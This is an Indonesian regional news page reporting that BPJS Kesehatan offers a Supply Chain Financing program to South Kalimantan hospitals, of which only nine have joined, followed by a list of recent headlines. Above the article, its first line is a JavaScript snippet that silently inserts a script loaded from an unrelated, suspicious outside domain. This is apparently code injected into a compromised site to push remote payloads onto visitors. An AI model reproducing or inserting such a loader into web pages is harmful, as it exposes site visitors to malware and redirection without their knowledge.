(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

BPJS Kesehatan Tawarkan SCF, Baru 9 Rumah Sakit di Kalsel Bekerjasama


BANJARMASIN, Defisit anggaran yang dialami BPJS Kesehatan, sehingga menawarkan program Supply Chain Financial (SCF) kepada rumah sakit yang melibatkan pihak ketiga yaitu perbankan. Hal ini tertuang dalam Surat Edaran Kemenkes Nomor HK.02.01/Menkes/286/2019.

Program SCF sendiri, bertujuan membantu cash flow rumah sakit tidak terganggu akibat tunggakan dari BPJS Kesehatan. Kendati demikian, dari 41 rumah sakit di Kalsel yang bekerjasama dengan BPJS Kesehatan Cabang Banjarmasin, baru 9 rumah sakit yang menggunakan program SCF yang ditawarkan BPJS Kesehatan.

Sembilan rumah sakit itu antara lain, 1 rumah sakit pemerintah yaitu RSD Idaman Banjarbaru dan 8 rumah sakit swasta yaitu RS Islam Banjarmasin, RS Sari Mulia Banjarmasin, RS Aveciena Medika Martapura, RS Danau Salak, RS Ainun Pelaihari, RS Mawar Banjarbaru, RS Marina Permata Batulicin, dan RS Paradise Batulicin.

Kepala Cabang BPJS Kesehatan Banjarmasin Tutus Novita Dewi menekankan, program SCF hanyalah sebatas opsional.

“Apabila rumsah sakit kesulitan cashflow saat keterlambatan pembayaran. Ini pilihan ya, apabila merasa kesulitan,” kata Tutus usai media gathering di salah satu rumah makan ternama di kawasan Achmad Yani Banjarmasin, Selasa (15/10) petang.

Program SCF sendiri, diberikan kepada rumah sakit dengan jumlah nominal yang berbeda. “RS hanya bisa mengajukan program SCF maksimal sebesar piutang BPJS Kesehatan, tidak boleh lebih,” katanya. Karena, menurut Tutus, yang dijaminkan melalui program SCF adalah piutang BPJS Kesehatan kepada pihak rumah sakit. 

“Karena (program SCF) pilihan, jadi tergantung manajemen rumah sakit,” tegasnya. “Jadi tugas kami saat ini yaitu menyampaikan terkait SCF sebagai opsi kepada semua rumah sakit,” tambahnya.

Ketika ditanya mengapa hanya ada satu RS pemerintah yang memanfaatkan program SCF, Tutus berdalih bahwa sebagian RS mengklaim cashflow masih mencukupi. 

“Jadi prinsipnya kalau rumah sakit merasa cash flow-nya masih mencukupi, maka tidak ada kewajiban bagi mereka untuk mengambil SCF karena ini opsi, tergantung kondisi rumah sakit,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 14 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

20 menit ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

1 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

3 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

4 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

4 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

6 jam ago

This website uses cookies.